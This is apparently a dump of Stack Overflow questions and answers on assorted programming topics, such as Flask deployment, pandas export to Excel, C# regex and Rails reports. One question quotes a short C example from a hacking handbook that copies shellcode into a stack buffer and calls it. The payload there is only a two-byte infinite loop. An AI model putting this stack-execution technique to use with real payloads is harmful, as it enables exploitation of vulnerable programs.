37791594	0	 <p>In order to make TDS work in your local solution, you need to right click the TDS project, select Properties and make sure you have the "Install Sitecore Connector" checked under the Build tab. Click on TEST and let the process run.</p> <p>If you have multiple TDS projects in the same solution, make sure you have the same GUID defined on each project.</p> <p><a href="https://i.stack.imgur.com/xnkS9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xnkS9.png" alt="enter image description here"></a></p>
21444961	0	Not being able to create a push notifier in apigee <p>I am trying to create a push notifier for my app. I follow the instructions provided: upload a .p12, name the notifier, development, etc. and then click create notifier. However the button does nothing! Anyone else facing the same issue?</p>
38094981	0	Linux checking shell command (bash) <p>How can I check if a shell command ends with some text? For instance if I type </p> <pre><code>$ http://example.com/file.webm </code></pre> <p>(ends with .webm) it will be automatically replaced with </p> <pre><code>$ wget http://example.com/file.webm </code></pre> <p>Of course only if command consists of one part.</p> <p>I'm using <code>bash</code> as my shell.</p>
36409578	0	 <p>Any view can implement both "get" and "post" handling; that way you can have something like </p> <pre><code>class BookCreateView(views.View): # subclass the basic form and add an hidden input named search form = your_custom_search_form # subclass the create model form confirmation_form = your_custom_create_model_form def get(request): # show the empty search page # in your template use the form to implement search def post(request): # handle the book search; there is a data in the payload named search # you now have a payload to use; here you make a database query # and return the similar books; every book is printed in the page # using the your_custom_create_model_form that you can prepopulate # handle the confirmation of the book otherwise; the post # payload will contain the book information </code></pre>
38789837	0	 <p>Your application import_name can't be identified properly in *.tac file. If you create flask application in *.py file and import it in *.tac it will work just fine.</p> <p>But you also need another list of <a href="http://twistedmatrix.com/documents/current/web/howto/web-in-60/wsgi.html" rel="nofollow">instructions</a> for deploying Flask application via twistd. Minimal example looks like this:</p> <pre><code>from twisted.application import internet, service from twisted.web.server import Site from twisted.web.wsgi import WSGIResource from twisted.internet import reactor from my_flask_module import my_flask_app application = service.Application('myapplication') service = service.IServiceCollection(application) flask_resource = WSGIResource(reactor, reactor.getThreadPool(), my_flask_app) flask_site = Site(flask_resource) internet.TCPServer(8000, flask_site).setServiceParent(service) </code></pre>
30620923	0	 <p>If you want to display a table with all the possible properties in the header, and each row with each column filled or not whether the property is defined or not for the document in that row, then you will need to:</p> <ol> <li>Ahead of time (in <code>onCreated</code> or <code>onRendered</code>), find <em>all</em> possible properties for your dataset, order them, and store them in a "header" object accessible to your helpers. (either in <code>Session</code> or using a <a href="http://docs.meteor.com/#/full/reactivevar_pkg" rel="nofollow">reactive variable</a>) Make it reactive if necessary, using <code>this.autorun()</code>.</li> <li>Then, do the same as above, except just returning the stored ordered list for <code>tableHeader</code></li> <li>And for <code>rowContent</code>, iterate over your stored header and fill an array with empty strings for each undefined field in the current document</li> </ol> <p>Example:</p> <pre><code>function getHeader(products) { var header = {}; for (var key in products) { for (var property in products[key]) { header[property] = true; } } return Object.keys(header); } Template.productvalue.onRendered(function () { var products = Products.find().fetch(); Session.set('header', getHeader(products)); this.autorun(function () { var products = Products.find().fetch(); Session.set('header', getHeader(products)); }); }); Template.productvalue.helpers({ 'tableHeader': function () { return Session.get('header'); }, 'rowContent': function (document) { var row = []; var header = Session.get('header'); for (var key in header) { row.push(document[header[key]] || ""); } return row; } }); </code></pre> <p>And in template:</p> <pre><code>&lt;template name="productvalue"&gt; &lt;table&gt; &lt;thead&gt; {{#each tableHeader}} &lt;th&gt;{{this}}&lt;/th&gt; {{/each}} &lt;/thead&gt; &lt;tbody&gt; {{#each products}} &lt;tr&gt; {{#each rowContent this}} &lt;td&gt;{{this}}&lt;/td&gt; {{/each}} &lt;/tr&gt; {{/each}} &lt;/tbody&gt; &lt;/table&gt; &lt;/template&gt; </code></pre> <p>I still recommend <a href="https://dweldon.silvrback.com/scoped-reactivity" rel="nofollow">using a reactive variable</a> instead of <code>Session</code>, but the demonstration is complicated enough as it is.</p>
36375946	0	 <ol start="3"> <li>As an alternate solution you may simply not use HTML helpers and write your own HTML. Using HTML helpers leads to issues such as those you are encountering. You may overcome them, but what is the point using HTML helpers if instead of helping you, they create difficulties? (In my point of view, MVC is about having control over the front code you serve to browsers.)</li> </ol> <p>With Razor, writing directly the required HTML can prove more effective than letting HTML helpers do that for you.</p> <p>Granted, this is my point of view. I have detailed it a bit more on some similar question <a href="/a/36084744/1178314">here</a>.</p>
8612479	0	 <p><code>n/10</code> will not shift the decimal number since <code>n</code> is an integer. The division will produce the result like this: if n = 25, then <code>n/10</code> would be 2 (without any decimal points), similarly if n = 9, then n/10 would be 0 in which case <code>if</code> condition would not be satisfied.</p> <p>Regarding the <code>+'0'</code>, since n%10 produces an integer result and in <code>putchar</code> you are printing a <code>char</code> , you need to convert the integer to a char. This is done by adding the ascii value of 0 to the integer.</p>
4828384	0	 <p>Check the process id parents - you probably will see one parent and 2 children.</p> <p>Historically - MANY entries appeared in the ps table per <a href="http://wiki.apache.org/tomcat/FAQ/Linux_Unix" rel="nofollow">http://wiki.apache.org/tomcat/FAQ/Linux_Unix</a></p> <p>In new linux kernels - ps/top have whittled these down to one. But jsvc launches in a parent/child style which would explain 2 processes (but not 3). </p> <p>But long story short - it is probably nothing to worry about.</p>
10866146	0	 <p>I'll throw an alternative solution into the mix. It is, unapologetically, a huge ugly hack, but gets around a problem.</p> <p>If you have an array called 'theArray' like this</p> <pre><code>100 =&gt; 'a' 200 =&gt; 'b' 300 =&gt; 'c' </code></pre> <p>then replacing</p> <pre><code>for (key in theArray) </code></pre> <p>with </p> <pre><code>for (var i=0; i &lt; theArray.length; i++) </code></pre> <p>does not really help, because the length is '3', but you have keys much higher than the array length. Presumably the keys in such instances have significance, and you want to keep them.</p> <p>The hackish way to fix it is to force JavaScript to treat the keys as strings, not integers. You can do this by doing something quick and dirty like renaming all your keys to</p> <pre><code>"a100" =&gt; 'a' "a200" =&gt; 'b' "a300" =&gt; 'c' </code></pre> <p>Then use some sort of substring function when you want to use the key value later on in your code.</p> <p>Once the keys are treated as strings, all browsers I am aware of will display them in the order they were created, not in any other order.</p> <p>I should add a disclaimer - it's probably better to write your code to avoid this scenario in the first place by not using keys as a means to carry information in this way.</p> <p>eg:</p> <pre><code>0 =&gt; array (100,'a') 1 =&gt; array (200,'b') </code></pre> <p>etc</p> <p>This hack is something I've employed as a quick fix where I didn't want to rewrite a lot of code to not use 'meaningful' integers as keys.</p>
23736801	0	Delete link behaviour lost when I regenerate HTML. How can I handle this? <p>If I regenerate a Rails delete link on my page, something like the following:</p> <pre><code>&lt;a href="/categories/19" data-method="delete" data-confirm="Are you sure?" ..&gt;Link&lt;/a&gt; </code></pre> <p>When this page loads, something in Rails must set the behaviour of this link as I get a nice "Are you sure?" before I commit to delete something. However, when I regenerate the HTML I'm guessing I need to re-initialize the behaviour but I'm not sure where this comes from. Can anyone tell me if there is a function I should call again after I generate this HTML link? Thanks</p>
33252144	0	when to use Repository methods and when to use mongoTemplate? <p>I am working on <code>Spring data mongo</code> with my <code>Spring MVC</code> application. I need to understand which is the correct way to improve performance if I wish to use multiple criteria's.</p> <ul> <li>Do I need to go for <code>Repository</code> methods? Or</li> <li>Do I need to go for <code>MongoTemplate</code>/<code>MongoOperations</code>?</li> </ul> <p>Which is advisable to use to improve performance with many contional criteria's ?</p>
28759544	0	Google Spreadsheet xpath scraping <p>So I'm not a professional programmer, but I'm trying to scrape data off the Reuters homepage and import it into google spreadsheets. I know that there have already been questions answerd about scraping from Reuters, however, that didn't help me.</p> <p>I want data from this page: <a href="http://www.reuters.com/finance/stocks/financialHighlights?symbol=9983.T" rel="nofollow">http://www.reuters.com/finance/stocks/financialHighlights?symbol=9983.T</a></p> <p>specifically, if you scroll down, there's a lot of data on the company's financials, packed into tables. I need specific values out of the tables.</p> <p>So naturally my question to you is, how can I get specific values out of the tables? For instance, I want the first value out of the line that's labelled "Net Profit Margin (TTM)". The value should be 7.30.</p> <p>So I got the xpath by using google chrome developer tools, right-click on the element and select "copy xpath". Since I'm not a programmer I dont know any other way for arriving at a specific element from the tables.</p> <p>I tried the following function in google spreadsheets:</p> <pre><code>=IMPORTXML(URL as written above,"//*[@id='content']/div[2]/div/div[2]/div[1]/div[13]/div[2]/table/tbody/tr[14]/td[2]") </code></pre> <p>but it returns</p> <pre><code>"#N/A - Error, imported content is empty" </code></pre> <p>What can I do to get the value?</p>
20501416	0	 <p>LINQ statements return IEnumerable objects, and your method is returning a single Request object. In your case looks like you only need to return the first result of the LINQ statement.</p> <p>Something like:</p> <pre><code> Dim pr = (From r In dc.Request From p In dc.Process.Where(Function(v) v.IdReq = r.IdReq And v.idProcess Is Nothing) Select New {Request = r}).FirstOfDefault Return pr </code></pre>
19243938	0	Keep the text in textboxes saved <p>I have these textboxes where the user enters data and then presses a button to process the data. Now the data entered by the user is alot and to give the user some slack I want to make it possible whenever you press the button, the application saves the data, so when you close the application and start it back up again the textboxes are filled with the last entered data.</p> <p>I was thinking about using a .txt file to save the data. Only I have found some difficulties with this. One of the problems is that I keep getting a messagebox from the microsoft .NET Framework everytime I try to run my application. The messagebox says the Index was outside the bounds of the array. Even though I think my code doesn't exceed the bounds of my array.</p> <p>And here is the code that I use:</p> <p>First I declared an array and filled it with variables that contain the content of the textboxes:</p> <pre><code>string[]settings = new string[5]; settings[0] = openKey; settings[1] = secretKey; settings[2] = statusRequestPath; settings[3] = statusRequestAPI; settings[4] = setSeconds.ToString(); </code></pre> <p>Then I use the following code to write the data to a text file.</p> <pre><code>using (StreamWriter writeFile = new StreamWriter(@"C:\Audio Silence Detector\AudioSilenceDetector.txt")) { foreach (string line in settings) { writeFile.WriteLine(line); } } </code></pre> <p>And to put the text of the .txt file back in the application I have put this in the formload:</p> <pre><code>string[] lines = System.IO.File.ReadAllLines(@"C:\Audio Silence Detector\AudioSilenceDetector.txt"); tbOpenKey.Text = lines[0]; tbSecretKey.Text = lines[1]; tbStatusRequestPath.Text = lines[2]; tbStatusRequestAPI.Text = lines[3]; tbSeconds.Text = lines[4]; </code></pre> <p>I changed my code to this and it seems to have fixed the issue I was having:</p> <pre><code> if (lines.LongLength == 5) { tbOpenKey.Text = lines[0]; tbSecretKey.Text = lines[1]; tbStatusRequestPath.Text = lines[2]; tbStatusRequestAPI.Text = lines[3]; tbSeconds.Text = lines[4]; } </code></pre>
2168111	0	 <p>There is a nice overview on <a href="http://en.wikipedia.org/wiki/Design_by_contract" rel="nofollow noreferrer">WikiPedia about Design by Contract</a>, at the end there is a section regarding <a href="http://en.wikipedia.org/wiki/Design_by_contract#Languages_with_third-party_support" rel="nofollow noreferrer">languages with third party support libraries</a>, which includes a nice serie of Java libraries. Most of these Java libraries are based on Java Assertions. </p> <p>In the case you only need <a href="http://en.wikipedia.org/wiki/Precondition" rel="nofollow noreferrer">Precondition Checking</a> there is also a lightweight <a href="http://www.javapractices.com/topic/TopicAction.do?Id=5" rel="nofollow noreferrer">Validate Method Arguments</a> solution, at SourceForge under <a href="http://java-arg-val.sourceforge.net/introduction.html" rel="nofollow noreferrer">Java Argument Validation</a> (Plain Java implementation).</p> <p>Depending on your problem, maybe the <a href="http://oval.sourceforge.net/" rel="nofollow noreferrer">OVal</a> framework, for field/property Constraints validation is a good choice. This framework lets you place the Constraints in all kind of different forms (Annotations, POJO, XML). Create customer constraints through POJO or scripting languages (JavaScript, Groovy, BeanShell, OGNL, MVEL). And it also party implements <a href="http://en.wikipedia.org/wiki/Design_by_contract" rel="nofollow noreferrer">Programming by Contract</a>.</p>
36455337	0	 <p>Finally, I managed to make it work... so thank you to those who gave me comments:</p> <pre><code>df1$diff_order &lt;- reorder(df1$country.name, df1$diff) #Set order of countries by diff, and then set this to be plot a &lt;- ggplot(df1, aes((x=diff_order), y=diff,fill=as.factor(level))) + geom_bar(stat="identity") + xlab("Country") + theme_classic() + coord_flip() + scale_fill_manual(values=c("#009E73", "#0072B2"),name="NUTS level") + ggtitle("All") + theme(plot.title = element_text(hjust = 0)) + theme(axis.title.x = element_blank()) + theme(axis.text=element_text(size=9), axis.title=element_text(size=10,face="bold")) a </code></pre> <p><a href="https://i.stack.imgur.com/oUrQQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oUrQQ.png" alt="enter image description here"></a></p>
39635318	0	Can't get autocomplete of some bootstrap style classes in WebStorm <p>WebStorm version: <strong>2016.2.3</strong></p> <p>Bootstrap version: <strong>3.3.7</strong></p> <p>Way of including bootstrap files: <strong>Locally</strong></p> <p>Issues: Can't get autocomplete of some style classes. For example:</p> <p><img src="https://i.stack.imgur.com/PQkBL.png" alt="&quot;no &lt;code&gt;table-hover&lt;/code&gt;&quot;"></p>
33875238	1	Export Pandas data frame with text column containg utf-8 text and URLs to Excel <p>My Pandas data frame consists of Tweets and meta data of each tweet (300.000 rows). Some of my colleagues need to work with this data in Excel which is why I need to export it.</p> <p>I wanted to use either <code>.to_csv</code> or <code>.to_excel</code> which are both provided by Pandas but I can't get it to work properly.</p> <p>When I use <code>.to_csv</code> my problem is that it keeps failing in the text part of the data frame. I've played around with different separators but the file is never 100% aligned. The text column seems to contain tabs, pipe characters etc. which confuses Excel.</p> <pre><code>df.to_csv('test.csv', sep='\t', encoding='utf-8') </code></pre> <p>When I try to use <code>.to_excel</code> together with the <code>xlsxwriter</code> engine I'm confronted with a different problem, which is that my text column contains to many URLs (I think). <code>xlswriter</code> tries to make special clickable links of these URLs instead of just handling them as strings. I've found some information on how to circumvent this but, again, I can't get it to work.</p> <p>The following bit of code should be used to disable the function that I think is causing trouble:</p> <pre><code>workbook = xlsxwriter.Workbook(filename, {'strings_to_urls': False}) </code></pre> <p>However, when using <code>to_excel</code> I can't seem to adjust this setting of the Workbook object before I load the data frame into the Excel file.</p> <p>In short how do I export a column with wildly varying text from a Pandas data frame to something that Excel understands?</p> <p><strong>edit:</strong> example:</p> <pre><code>@geertwilderspvv @telegraaf ach Wilders toch, nep-voorzitter van een nep-partij met maar één lid, \nzeur niet over nep-premier of parlement! </code></pre> <p>So in this case It is obviously a line brake that is my data. I will try to find some more examples.</p> <p><strong>edit2:</strong></p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt; &lt;recoveryLog xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"&gt;&lt;logFileName&gt;error047600_01.xml&lt;/logFileName&gt;&lt;summary&gt;Er zijn fouten aangetroffen in bestand C:\Users\Guy Mahieu\Desktop\Vu ipython notebook\pandas_simple.xlsx&lt;/summary&gt;&lt;removedRecords summary="Hier volgt een lijst van verwijderde records:"&gt;&lt;removedRecord&gt;Verwijderde records: Formule van het onderdeel /xl/worksheets/sheet1.xml&lt;/removedRecord&gt;&lt;/removedRecords&gt;&lt;/recoveryLog&gt; </code></pre> <p>Translation of Dutch stuff:</p> <p>Errors were found in "file". Here follows a list of removed records: removed records: formula of the part /xl/worksheets/sheet1.xml</p>
8286847	0	Issue while publishing Android app: "This application is available to over 0 devices" <p>Hello: I note this question has been answered at <a href="http://stackoverflow.com/q/8212956/936042">http://stackoverflow.com/q/8212956/936042</a> but I hope y'all will entertain my question since I am not able to reproduce the solution.</p> <p>When I upload my APK to the Android market, the message says "available to over 578 devices" (this is before activation). As soon as I begin to make other changes (such as changing the contact email address) the message changes to "This application is available to over 0 devices". I use Eclipse's Export option to created the final, signed APK.</p> <p>My Android app uses 3 external JARs (http://code.google.com/p/javamail-android/downloads/list). I add them to the project using Project/Properties/Java Build Path/Libraries/Add External JARs.</p> <p>The solution posted at the link above implicates the use of external JARS, and their being embedded into the APK in some inappropriate manner, as the cause for this issue:</p> <blockquote> <p>my mistake was that I included .jar files in order to add some external libraries and not the respective external class folders. When I removed the .jar files and I just added the class folder then devices became over 700 again.</p> </blockquote> <p>I don't quite follow the above explanation. If someone (especially the original author) could lay it out in greater detail, I'll be very obliged.</p> <p>Thanks!</p> <p>PVS</p>
36774117	0	Using Regex to recognize pattern in string <p><em>I apologize if this is a repeat question, as I know there are many about Regex on StackOverflow, but I have yet to find an answer or a level of help I need.</em></p> <blockquote> <p>I have a string that needs to be a length of 8 where:</p> <ul> <li><p>The first two characters are letters</p></li> <li><p>The next five characters are numbers</p></li> <li><p>The last character is a letter</p></li> </ul> <p>For example: "AB12345C"</p> </blockquote> <p>I have been using the examples from <a href="https://msdn.microsoft.com/en-us/library/sdx2bds0(v=vs.110).aspx" rel="nofollow">MSDN</a> &amp; <a href="http://www.dotnetperls.com/regex" rel="nofollow">DotNetPerls</a> to try and understand how to use arguments properly, but after a couple days of reading around I still can't get it to pass.</p> <p>I am currently trying to use:</p> <pre><code>public Tuple&lt;bool, string&gt; stringFormatCheck(string input) { if (Regex.IsMatch(input, @"^[a-zA-Z]\d{2}[0-9]\d{5}[a-zA-Z]$") == true) return Tuple.Create(true, "String is Fine"); else return Tuple.Create(false, "String Format is incorrect"); } </code></pre> <p>Can someone show me how to use this argument properly or somewhere I can get a better understanding of the Regex Class? Thank you.</p> <p>EDIT1: The second Z in my first argument is now capitalized.</p>
30674843	0	Android Instance Variables <p>Are instance variables preferred over local variables or vice versa? For instance, with using <code>SharedPreferences</code>, should it be declared at the top of the class and then referenced throughout or should it just be declared in each method it is needed?</p> <p>I am wondering if there would be a large difference in memory usage since the instance variable would last as long as the activity; however, it would be cleaner since I would not need to instantiate it in every method it is used.</p>
34392388	0	 <p>Pointers to functions and pointers to member functions are different beasts. While functions decay to pointers to functions, the same is not true for member functions or member objects. While there is a standard function to pointer conversion there is nothing similar for member functions or member objects. When you want to get a pointer to member you always need to use an <code>&amp;</code>.</p> <p>I don't know the exact reasoning but I suspect that the address-of operator was required to avoid mistakes which sometimes show up with functions, e.g.:</p> <pre><code>int f(); // ... if (f) { // always true } </code></pre> <p>While the implicit conversion from functions to function pointers couldn't be removed without breaking C compatibility, there was no similar concern when members and pointer to members were introduced.</p>
5208335	0	 <p>try simply indicating ctypes the argtypes it takes and the ones it returns:</p> <pre><code>nDll = ctypes.WinDLL('ndll.dll') nDll.restype = ctypes.c_double nDll.argtypes = [ctypes.c_char_p] result = nDll.iptouint("12.345.67.890").value </code></pre> <p>Although, consider these points:</p> <p>1) if, as the name indicates, this converts an IPv4 value s ina string to an Unsigned Int, the return type os not "double" as you say - it would be ctypes.c_uint32 </p> <p>2) Your example value is not a valit IPv4 address, and cannot be converted to a 32 bit integer (neither does it makes sense as a "double" - i.e. a 64 bit floating point number) - it is simply invalid</p> <p>3) You don't need that if you are just trying to have an unsigned 32bit value for an ipv4 address in Python. There are quite a few, very readable, easier, and multiplatform ways to do that with pure python. For example:</p> <pre><code>def iptoint(ip): value = 0 for component in ip.split("."): value &lt;&lt;= 8 #shifts previous value 8 bits to the left, #leaving space for the next byte value |= int(component) # sets the bits for the new byte in the address return value </code></pre> <p><strong>update</strong>: In Python 3.x there is the ipaddress module - <a href="https://docs.python.org/3/library/ipaddress.html" rel="nofollow">https://docs.python.org/3/library/ipaddress.html</a> - which is also available as a pip install for Python 2.x - it can handle this always in the correct way, and works fine with IPv6 as well.</p>
29911834	0	Program(java) skips nextLine() prompt and continues with program <p>here is the code:</p> <pre><code>import java.util.Scanner; public class DriverProject1 { public static void main(String[] args) { int roomNumber; int numberOfRooms; int optionNumber; String guestName = null; String phoneNumber; int nightsStaying; double nightlyRate; Scanner keyboard = new Scanner(System.in); System.out.println("How many rooms are in the hotel?"); numberOfRooms = keyboard.nextInt(); Hotel Carnegie = new Hotel(numberOfRooms); do { System.out.println("Welcome to the MENU!"); System.out.println("Please enter a number corresponding to the option desired."); // main menu screen System.out.println("OPTION 1: Put guest into room"); System.out.println("OPTION 2: Remove guest from room"); System.out.println("OPTION 3: Get guest info"); System.out.println("OPTION 4: Get guest count"); System.out.println("OPTION 5: Display guest book"); System.out.println("OPTION 6: Calculate expected income"); System.out.println("OPTION 7: Quit"); optionNumber = keyboard.nextInt(); // choosing an option if (optionNumber == 1) // if option 1 is chosen { System.out.println("What is the guests first name?"); guestName = keyboard.nextLine(); System.out.println("What is the guests Phone number?"); phoneNumber = keyboard.nextLine(); Guest newGuest = new Guest(guestName); newGuest.setPhoneNumber(phoneNumber); </code></pre> <p>"What is the guests first name? What is the guests Phone number?" appears and it will not take anything for the guest name. <code>guestName</code> has been initialized to "". lines 36 -39. not sure of the issue going on. i am using a few methods contained within my hotel class, however i am almost certain they do not contain the error which causes this bug. also the do loop is completed later on in the code. </p>
10595101	0	Rails Daily/Monthly Report <p>Report</p> <p>I need to create a daily report + monthly report with this records.. All records is from one table and under one field('nature' is the name of my field)..</p> <pre><code>Calls Texts Emails </code></pre> <p>Is there any possible way to create a single query that will generate this daily report + monthly report.?</p> <p>Ex.</p> <pre><code> Day1 Day2 Day3 etc.. Total Calls 20 23 23 ... 66 Texts 120 125 130 ... 375 Emails 50 60 55 ... 165 Total 190 208 208 ... 606 </code></pre> <p>If not, please tell how to do it the simplest way, and how to this on rails.?</p> <p>Thanks in advance...</p>
9145836	0	understanding executing c code in stack ( Mac Hackers Handbook code) <p>I was looking at this example w.r.t executing code in the stack:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; char shellcode[] = “\xeb\xfe”; int main(int argc, char *argv[]){ void (*f)(); char x[4]; memcpy(x, shellcode, sizeof(shellcode)); f = (void (*)()) x; f(); } </code></pre> <p>This causes a segmentation fault. My understanding this is because the shellcode runs out of memory for the rest of the bytes as x only has a size of 4 bytes. And this results in creating a write operation of copying to stack memory and that causes a seg. fault as stack memory is read only. Is my understanding correct ?</p>
13289321	0	 <p>try to do it,like below code...</p> <p>private void Form1_Load(object sender, EventArgs e) { FillCountry();</p> <pre><code> } private void FillCountry() { string str = "SELECT CountryID, CountryName FROM Country"; SqlCommand cmd = new SqlCommand(str,con); //cmd.Connection = con; //cmd.CommandType = CommandType.Text; // cmd.CommandText = "SELECT CountryID, CountryName FROM Country"; DataSet objDs = new DataSet(); SqlDataAdapter dAdapter = new SqlDataAdapter(); dAdapter.SelectCommand = cmd; con.Open(); dAdapter.Fill(objDs); con.Close(); comboBox1.ValueMember = "CountryID"; comboBox1.DisplayMember = "CountryName"; comboBox1.DataSource = objDs.Tables[0]; } private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { if (comboBox1.SelectedValue.ToString() != "") { int CountryID = Convert.ToInt32(comboBox1.SelectedValue.ToString()); FillStates(CountryID); comboBox3.SelectedIndex = 0; } } private void FillStates(int countryID) { string str = "SELECT StateID, StateName FROM State WHERE CountryID =@CountryID"; SqlCommand cmd = new SqlCommand(str, con); // SqlConnection con = new SqlConnection(Con); // cmd.Connection = con; // string str="SELECT StateID, StateName FROM State WHERE CountryID =@CountryID"; // cmd.Connection = con; //cmd.CommandType = CommandType.Text; // cmd.CommandText = "SELECT StateID, StateName FROM State WHERE CountryID =@CountryID"; cmd.Parameters.AddWithValue("@CountryID", countryID); DataSet objDs = new DataSet(); SqlDataAdapter dAdapter = new SqlDataAdapter(); dAdapter.SelectCommand = cmd; con.Open(); dAdapter.Fill(objDs); con.Close(); if (objDs.Tables[0].Rows.Count &gt; 0) { comboBox2.ValueMember = "StateID"; comboBox2.DisplayMember = "StateName"; comboBox2.DataSource = objDs.Tables[0]; } } private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) { int StateID = Convert.ToInt32(comboBox2.SelectedValue.ToString()); FillCities(StateID); } private void FillCities(int stateID) { //SqlConnection con = new SqlConnection(str,con); string str = "SELECT CityID, CityName FROM City WHERE StateID =@StateID"; SqlCommand cmd = new SqlCommand(str,con); // cmd.Connection = con; //cmd.CommandType = CommandType.Text; // cmd.CommandText = "SELECT CityID, CityName FROM City WHERE StateID =@StateID"; cmd.Parameters.AddWithValue("@StateID", stateID); DataSet objDs = new DataSet(); SqlDataAdapter dAdapter = new SqlDataAdapter(); dAdapter.SelectCommand = cmd; con.Open(); dAdapter.Fill(objDs); con.Close(); if (objDs.Tables[0].Rows.Count &gt; 0) { comboBox3.DataSource = objDs.Tables[0]; comboBox3.DisplayMember = "CityName"; comboBox3.ValueMember = "CItyID"; } </code></pre>
21305875	0	 <p>In my opinion the simplest solution:</p> <pre><code>#controllers/application_controller.rb protected def ckeditor_pictures_scope(options = { :assetable_id =&gt; "#{current_page.id}" ,:assetable_type =&gt; "Page" }) ckeditor_filebrowser_scope(options) end def ckeditor_attachment_files_scope(options = { :assetable_id =&gt; "#{current_page.id}" ,:assetable_type =&gt; "Page" }) ckeditor_filebrowser_scope(options) end def ckeditor_before_create_asset(asset) asset.assetable = current_page if current_page return true end </code></pre>
12558248	0	 <p>Try manually setting your view layers z-property to ensure the hierarchy is what you need.</p>
26675462	0	 <p><em>Remark, it is a very general question that doesn't fit well to the usage of this community.</em></p> <p>Supervisor are here to control the way your application starts and evolves in time. It starts processes in the right order with a verification that everything is going fine, manage the restart strategy in case of failure, pool of processes, supervision tree... The advantages are that it helps you to follow the "let it crash" rule in your application, and it concentrates in a few line of code the complex task to coordinate all your processes.</p> <p>I use gen_event mainly for logging purposes. You can use this behavior to connect on demand different handlers depending on your target. In one of my application, I have by default a graphical logger that allows to check the behavior at a glance, and a textual file handler that allows deeper and post mortem analysis.</p> <p>Gen_server is the basic brick of all applications. It allows to keep a state, react on call, cast and even simple messages. It manages the code changes and provides features for start and stop. Most of my modules are gen_servers, you can see it as an actor which is responsible to execute a single task.</p> <p>Gen_fsm brings to gen server the notion of a current state with a specific behavior, and transition from state to state. It can be used for example in a game to control the evolution of the game (configuration, waiting for players, play, change level...)</p> <p>When you create an application you will identify the different tasks yo have to do and assign them to either gen_server either gen_fsm. You will add gen_event to allow publish/subscribe mechanism. Then you will have to group all processes considering their dependency and error recovering. This will give you the supervision tree and restart strategy. </p>
10346824	0	 <p><code>grep</code> uses regexes; <code>.</code> means "any character" in a regex. If you want a literal string, use <code>grep -F</code>, <code>fgrep</code>, or escape the <code>.</code> to <code>\.</code>.</p>
37232346	0	 <p>Your way is wrong. if you have view for every language, then what's the point to use i18n? </p> <p>You can just get </p> <pre><code>?lang= </code></pre> <p>value and send <code>res.render ( '/' + req.query.lang + '/contact.html').</code></p> <p><em>Try way is</em></p> <pre><code>-locales --en.json --nl.json -view --cabinet.html --main.html </code></pre> <p><strong>app.js</strong></p> <pre><code>i18n.configure({ locales: ['en', 'nl'], directory: __dirname + '/locales', defaultLocale: 'nl', updateFiles: false, objectNotation: true }); app.use(i18n.init); app.use(function (req, res, next) { console.log(i18n); if (req.query.lang != undefined &amp;&amp; i18n.locales.indexOf(req.query.lang) &gt;= 0) { i18n.setLocale(req.query.lang); }else{ i18n.setLocale(i18n.defaultLocale); } next(); }); </code></pre> <p><strong>en.json</strong> example</p> <pre><code>{ "cabinet": { "menu": { "title": "Menu", }, "dashboard": { "title": "Dashboard" }, "statistic": { "datePeriod": "Date period", "choose": "Choose", } }, "main": { "title": "Main", "body": { "hi": "Hi everyone!" } } </code></pre> <p>same for nl.json</p> <p><strong>main.html</strong></p> <pre><code> I use Swig template &lt;html&gt; &lt;head&gt; &lt;title&gt;{{ translate.title }}&lt;/title&gt; &lt;/head&gt; &lt;body&gt; {{ translate.body.hi }}!! &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>router.js</strong></p> <pre><code>router.get('/main', function(req, res, next) { res.render('/main', { title: '...', menu: '...', translate: res.__('main') }); }); router.get('/cabinet', function(req, res, next) { res.render('/cabinet', { title: '...', menu: '...', translate: res.__('cabinet') }); }); </code></pre>
28808571	0	Back to page using ajax form with form settings <p>I have a page that offers the user results. From that page there are additional sort options and advanced search options that are submitted by POST by AJAX to a script and the output is inserted into a div using jquery. </p> <p>Once the user clicks one of the results, they are redirected to the details page. When I click back from that page it doesnt load says form submission error. </p> <p>Not sure what to be looking for all the stuff I have seen is for when there are simply multiple ajax pages in one page. </p>
30070685	0	 <p>I have had similar problem because I was not adding the <strong><em>_id</em></strong> column to the projection argument, so adding <strong><em>_id</em></strong> to the projections argument of the query was the solution. (<em>commented by @nobugs</em>) </p> <hr> <p>Example: </p> <pre><code> String[] projections = {"_id", "name", "age"}; Cursor cursor = db.query(domainClass.getSimpleName(), projections, null, null, null, null, null); </code></pre>
2230420	0	 <p>I've not tested this, but I think you can request the page using ajax and check the response code - if there's no errors and the status code is 200 then the page is accessible.</p>
13142537	0	 <p>First, replace <code>cat $strLocalDir"config.txt"</code> by <code>cat "${strLocalDir}config.txt"</code>.</p> <p>Then, check what does config.txt contains ? This will be moved to the $URLS variable, maybe it s not well formed.</p> <p>When you have such problems try to insert debug statements, like print. Test the value of your variables each time they're needed, you'll know more precisely where does the code fail.</p>
9976087	0	 <p>try:</p> <pre><code>var mySelect = document.getElementById('select_value'); mySelect.getElementsByTagName('option')[index].setAttribute('selected','selected'); </code></pre> <p>where index stands for the position of the option you want to select.</p>
38931066	1	TypeError: string indices must be integer <p>I tried to get data from <code>JSON</code>. But instead data i get <code>TypeError</code>:</p> <pre><code>'TypeError: string indices must be integers' </code></pre> <p>Here ist my code:</p> <pre><code>api.authenticate(LOGIN, CONN) profil = api.get_profile("abc") data = json.dumps(profil, indent=4) print(data["login"]) </code></pre> <p>JSON file:</p> <pre><code>{ "public_email": "", "violation_url": null, "is_blocked": false, "links_published": 0, "login": "abc", "links_added": 1, "gg": "", "signup_date": "2014-10-26 21:15:41", } </code></pre> <p>I've looking for solution (google, SO) but I cannot find or not working for me.</p>
10812330	0	 <p>All styleable attributes are here: <a href="http://developer.android.com/reference/android/R.styleable.html" rel="nofollow">http://developer.android.com/reference/android/R.styleable.html</a></p> <p>All styles (themes) are here: <a href="http://developer.android.com/reference/android/R.style.html" rel="nofollow">http://developer.android.com/reference/android/R.style.html</a></p>
12355086	0	What's the usage of tesseract useROI method? <p>Is there a documentation for tesseract dotnetwrapper? as in like a java doc or something? I'm trying to understand what this useROI method does?</p>
